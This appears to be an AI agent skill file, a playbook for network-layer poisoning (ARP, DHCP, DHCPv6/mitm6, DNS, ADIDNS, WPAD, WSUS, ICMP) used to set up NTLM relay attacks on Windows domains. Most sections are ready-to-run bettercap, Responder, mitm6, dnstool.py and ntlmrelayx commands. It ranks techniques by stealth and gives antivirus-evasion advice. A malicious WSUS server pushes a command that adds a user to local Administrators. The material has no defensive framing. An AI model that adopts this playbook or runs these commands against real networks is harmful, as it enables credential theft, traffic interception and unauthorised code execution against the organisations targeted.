network-poisoning-attack

Network-Layer Poisoning and Spoofing Attacks

By poisoning network-layer protocols (ARP, DHCP, DNS, WPAD, etc.) to achieve man-in-the-middle positioning or force authentication triggering, this is the most commonly used prerequisite step for NTLM relay attacks.

Trigger Conditions

The internal network requires obtaining credentials or achieving man-in-the-middle through network poisoning
Poisoning is needed as a prerequisite step for NTLM relay
ARP/DHCP/DHCPv6/DNS/WPAD/WSUS poisoning is needed

Prerequisites

Physical access on the same network segment (most techniques require the same broadcast domain)
Domain user credentials (required for ADIDNS injection)
Tools: bettercap, Responder, mitm6, dnstool.py, Inveigh, pywsus, dnschef

Technique Selection Decision Tree

网络位置与条件？
├── 同广播域
│   ├── 快速 MITM → ARP 投毒 (高检测风险)
│   ├── IPv6 未禁用 → DHCPv6/mitm6 (推荐)
│   ├── DHCP 环境 → DHCP 投毒
│   └── 被动监听 → LLMNR/NBT-NS (已有 → ntlm-relay-attack)
├── 域环境 + 域凭证
│   ├── ADIDNS 记录注入 (最稳定)
│   └── WPAD 劫持 (结合 ADIDNS/DHCPv6)
├── WSUS 使用 HTTP
│   └── WSUS 投毒
└── DNS 已控制
    └── DNS 欺骗

Technique Comparison Table

Poisoning Method	Prerequisites	Detection Risk	Applicable Scenarios
ARP Poisoning	Same broadcast domain	High (ARP anomalies)	Fast MITM, when immediate effect is needed
DHCP Poisoning	Same broadcast domain	Medium	Persistent DNS/WPAD injection
DHCPv6/mitm6	IPv6 not disabled	Low	Recommended, stealthy NTLM acquisition
DNS Spoofing	DNS traffic already controlled	Low	Precise domain hijacking
ADIDNS Injection	Domain credentials	Extremely low	Most stable, domain-level DNS poisoning
WPAD Hijacking	See each sub-method	Medium	Transparent proxy captures authentication
WSUS Poisoning	HTTP WSUS	Medium	Code execution (not credentials)
ICMP Redirection	Same network segment	Low	Mostly ignored by modern OSes

1. ARP Poisoning

Principle

The ARP protocol has no authentication mechanism. An attacker sends forged ARP responses to bind their own MAC address to the gateway or target IP, achieving traffic hijacking. It is divided into bidirectional (fullduplex) and unidirectional poisoning.

Core Commands

# bettercap 交互模式
bettercap -iface eth0

# 单向投毒（仅欺骗目标，让目标流量经过攻击者）
set arp.spoof.targets $CLIENT_IP
set arp.spoof.internal false
set arp.spoof.fullduplex false
arp.spoof on

# 双向投毒（同时欺骗目标和网关）
set arp.spoof.targets $CLIENT_IP
set arp.spoof.fullduplex true
arp.spoof on

# 开启 IP 转发（Linux）
sysctl -w net.ipv4.ip_forward=1
iptables --policy FORWARD ACCEPT

SMB scenario: any.proxy redirects to attacker's 445

# 将目标发往 $SERVER_IP:445 的流量重定向到攻击者
set any.proxy.src_address $SERVER_IP
set any.proxy.src_port 445
set any.proxy.dst_address $ATTACKER_IP
set any.proxy.dst_port 445
any.proxy on

IP masquerading bypass (SNAT/DNAT)

# 当目标检查源 IP 时，需要 iptables NAT 伪装
iptables -t nat -A PREROUTING -p tcp -d $SERVER_IP --dport 445 -j DNAT --to-destination $ATTACKER_IP:445
iptables -t nat -A POSTROUTING -p tcp -s $CLIENT_IP --dport 445 -j SNAT --to-source $SERVER_IP

Relay Integration

After obtaining a MITM position through ARP poisoning, use any.proxy to redirect SMB/HTTP traffic to the ntlmrelayx listening port.

2. DHCP Poisoning

Principle

Respond to client DHCP requests through Responder's DHCP mode, injecting a malicious DNS server or WPAD configuration. The effect persists until the client's DHCP lease expires or it restarts.

Core Commands

# DNS 注入模式（注入 DNS + WPAD）
responder -I "eth0" -wPdD

# 仅 WPAD 注入
responder -I "eth0" -wPd

# -d: DHCP 响应中注入 DNS
# -D: DHCP 响应中注入 WPAD
# -w: 启动 WPAD rogue proxy
# -P: 强制 NTLM 认证（Proxy Auth）

Relay Integration

# WPAD 注入 + ntlmrelayx 作为代理
ntlmrelayx.py -t $TARGET --http-port 3128
# Responder 将 WPAD 配置指向 $ATTACKER_IP:3128

3. DHCPv6/mitm6 (Recommended)

Principle

Windows enables IPv6 by default and prefers IPv6 DNS. mitm6 impersonates a DHCPv6 server to assign IPv6 DNS to targets, directing all DNS queries to the attacker. It is highly stealthy and has no impact on IPv4 networks.

Core Commands

# 启动 mitm6
mitm6 --interface eth0 --domain $DOMAIN

# 指定目标（减少影响范围）
mitm6 --interface eth0 --domain $DOMAIN --host-allowlist $TARGET_HOSTNAME

bettercap Alternative

set dhcp6.spoof.domains $DOMAIN
dhcp6.spoof on
set dns.spoof.domains *.$DOMAIN
dns.spoof on

Relay Integration

# 经典组合：mitm6 + ntlmrelayx
# 终端 1
mitm6 -d $DOMAIN

# 终端 2
ntlmrelayx.py -t ldaps://$DC -wh wpad.$DOMAIN --delegate-access
# -wh: 设置 WPAD 主机名，触发 HTTP 认证
# --delegate-access: 自动配置 RBCD

4. DNS Spoofing

Principle

After obtaining a MITM position (ARP poisoning, etc.), intercept and tamper with DNS responses to resolve target domain names to the attacker's IP. Traffic hijacking capability is required first.

Core Commands

# dnschef（独立 DNS 代理）
dnschef --fakeip $ATTACKER_IP --interface $ATTACKER_IP --port 53

# 指定域名
dnschef --fakedomains $DOMAIN --fakeip $ATTACKER_IP --interface $ATTACKER_IP

# Responder 内置 DNS
responder -I "eth0"

# bettercap dns.spoof
set dns.spoof.domains *.$DOMAIN
set dns.spoof.address $ATTACKER_IP
dns.spoof on

Relay Integration

DNS spoofing redirects the target's access to specific services to the attacker, working with ntlmrelayx to capture authentication requests.

5. ADIDNS Record Injection

Principle

Active Directory Integrated DNS (ADIDNS) by default allows any domain user to create new DNS child objects. By adding a wildcard record (*), all DNS queries not explicitly defined can be resolved to the attacker's IP. This is the most stable poisoning method with the lowest detection risk.

Core Commands

# 检查是否存在 WINS forward lookup（type 65281，会干扰通配符）
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '@' --action 'query' $DC

# 添加通配符记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP $DC

# 指定 DNS 分区（--legacy 用于旧 DNS 区域，--forest 用于森林级）
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP --legacy $DC

# 清理（务必在完成后执行）
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action remove $DC

Powermad Alternative

# 添加通配符 A 记录
New-ADIDNSNode -Node * -Data $ATTACKER_IP
# 添加指定记录
New-ADIDNSNode -Node wpad -Data $ATTACKER_IP

Inveigh Automation

# 自动 ADIDNS 注入 + 投毒
Invoke-Inveigh -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3
# combo: 通配符 + NS 记录组合
# ADIDNSThreshold: 未解析查询达到阈值后才注入（降低误报）

Relay Integration

The wildcard record resolves all nonexistent hostnames to the attacker, working with Responder/ntlmrelayx to automatically capture authentication.

6. WPAD Hijacking

Principle

WPAD (Web Proxy Auto-Discovery) resolution chain: DHCP Option 252 → DNS query wpad.$DOMAIN → LLMNR/NBT-NS broadcast. Hijacking any link in the chain can make the target access the internet through the attacker's proxy, triggering NTLM authentication.

Legacy Systems (without MS16-077)

# LLMNR/NBT-NS 响应 WPAD 查询
responder -I "eth0" -wP
# -w: WPAD rogue proxy
# -P: 强制 Proxy NTLM 认证

New Systems (GQBL bypass)

After MS16-077, WPAD no longer resolves via broadcast, requiring ADIDNS injection to bypass:

# 方式 1: 添加 wpad A 记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record 'wpad' --action add --data $ATTACKER_IP $DC

# 方式 2: 添加 NS 记录委派

# PowerShell NS 记录（将 wpad 子域委派到攻击者）
New-ADIDNSNode -Node wpad -Type NS -Data 'attacker.$DOMAIN'
# 攻击者运行 dnschef 响应 wpad 查询

DHCPv6 Method

# 当 DNS 中 wpad 记录已存在但指向错误时
mitm6 --domain $DOMAIN
# mitm6 通过 DHCPv6 让目标使用攻击者 DNS，直接控制 wpad 解析

Relay Integration

The WPAD proxy automatically triggers HTTP NTLM authentication, which is forwarded directly to ntlmrelayx.

7. WSUS Poisoning

Principle

If WSUS (Windows Server Update Services) uses HTTP instead of HTTPS, an attacker in a MITM position can replace update packages to achieve code execution. Note that this is code execution, not credential acquisition.

Check WSUS Configuration

# 远程查询（需要访问权限）
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver
# 如果是 http:// 开头 → 可投毒

Core Commands

# 启动恶意 WSUS 服务器
python3 pywsus.py --host $ATTACKER_IP --port 8530 \
  --executable /path/to/PsExec64.exe \
  --command '/accepteula /s cmd.exe /c "net localgroup Administrators $DOMAIN\\$USER /add"'

bettercap Traffic Redirection

# ARP 投毒后重定向 WSUS 流量
set any.proxy.src_port 8530
set any.proxy.dst_address $ATTACKER_IP
set any.proxy.dst_port 8530
any.proxy on

Additional Notes

CVE-2020-1013: WSUS local privilege escalation vulnerability, can be exploited locally
Trigger update check: wuauclt /detectnow /updatenow or UsoClient StartScan
Recommended to use LOLBin (signed binaries such as PsExec64.exe) to avoid triggering AV

Relay Integration

WSUS poisoning is mainly used for code execution and does not directly integrate with NTLM relay.

8. ICMP Redirect

Principle

ICMP Redirect messages notify hosts of a better routing path. An attacker forges ICMP Redirect to redirect target traffic to themselves. However, modern OSes (Windows 10+, Linux by default) mostly ignore ICMP Redirect.

Core Commands

python3 tools/Icmp-Redirect.py \
  --interface eth0 \
  --ip $ATTACKER_IP \
  --gateway $GATEWAY \
  --target $TARGET \
  --route $DNS_SERVER

Practical Value

Limited. Modern operating systems disable or ignore ICMP Redirect by default, and it is only effective in certain legacy environments.

9. NBT Name Overwrite

Principle

The NetBIOS Name Overwrite attack modifies the target's name table by sending NetBIOS Name Overwrite packets, associating specific names with the attacker's IP.

Current Status

Actual tool support is limited, mainly serving as a theoretical reference. In practice, prioritize more reliable methods such as ADIDNS or DHCPv6.

Combined Exploitation Example

mitm6 + ntlmrelayx (most commonly used)

# 终端 1: DHCPv6 投毒
mitm6 -d $DOMAIN

# 终端 2: LDAP relay + RBCD
ntlmrelayx.py -t ldaps://$DC -wh wpad.$DOMAIN --delegate-access

ADIDNS + Responder + relay

# Step 1: 注入通配符 DNS 记录
dnstool.py -u '$DOMAIN\$USER' -p '$PASSWORD' --record '*' --action add --data $ATTACKER_IP $DC

# Step 2: 启动 Responder（关闭 SMB/HTTP）
responder -I eth0

# Step 3: 启动 ntlmrelayx
ntlmrelayx.py -t $TARGET -smb2support

In-depth reference

→ references/layer2-poisoning.md — Detailed commands and configuration for ARP/DHCP/DHCPv6/ICMP poisoning
→ references/name-resolution-poisoning.md — Complete attack chain for ADIDNS/WPAD/WSUS/DNS spoofing

About this skill

Trigger Conditions

Prerequisites

Technique Selection Decision Tree

Technique Comparison Table

1. ARP Poisoning

Principle

Core Commands

SMB scenario: any.proxy redirects to attacker's 445

IP masquerading bypass (SNAT/DNAT)

Relay Integration

2. DHCP Poisoning

Principle

Core Commands

Relay Integration

3. DHCPv6/mitm6 (Recommended)

Principle

Core Commands

bettercap Alternative

Relay Integration

4. DNS Spoofing

Principle

Core Commands

Relay Integration

5. ADIDNS Record Injection

Principle

Core Commands

Powermad Alternative

Inveigh Automation

Relay Integration

6. WPAD Hijacking

Principle

Legacy Systems (without MS16-077)

New Systems (GQBL bypass)

DHCPv6 Method

Relay Integration

7. WSUS Poisoning

Principle

Check WSUS Configuration

Core Commands

bettercap Traffic Redirection

Additional Notes

Relay Integration

8. ICMP Redirect

Principle

Core Commands

Practical Value

9. NBT Name Overwrite

Principle

Current Status

Combined Exploitation Example

mitm6 + ntlmrelayx (most commonly used)

ADIDNS + Responder + relay

In-depth reference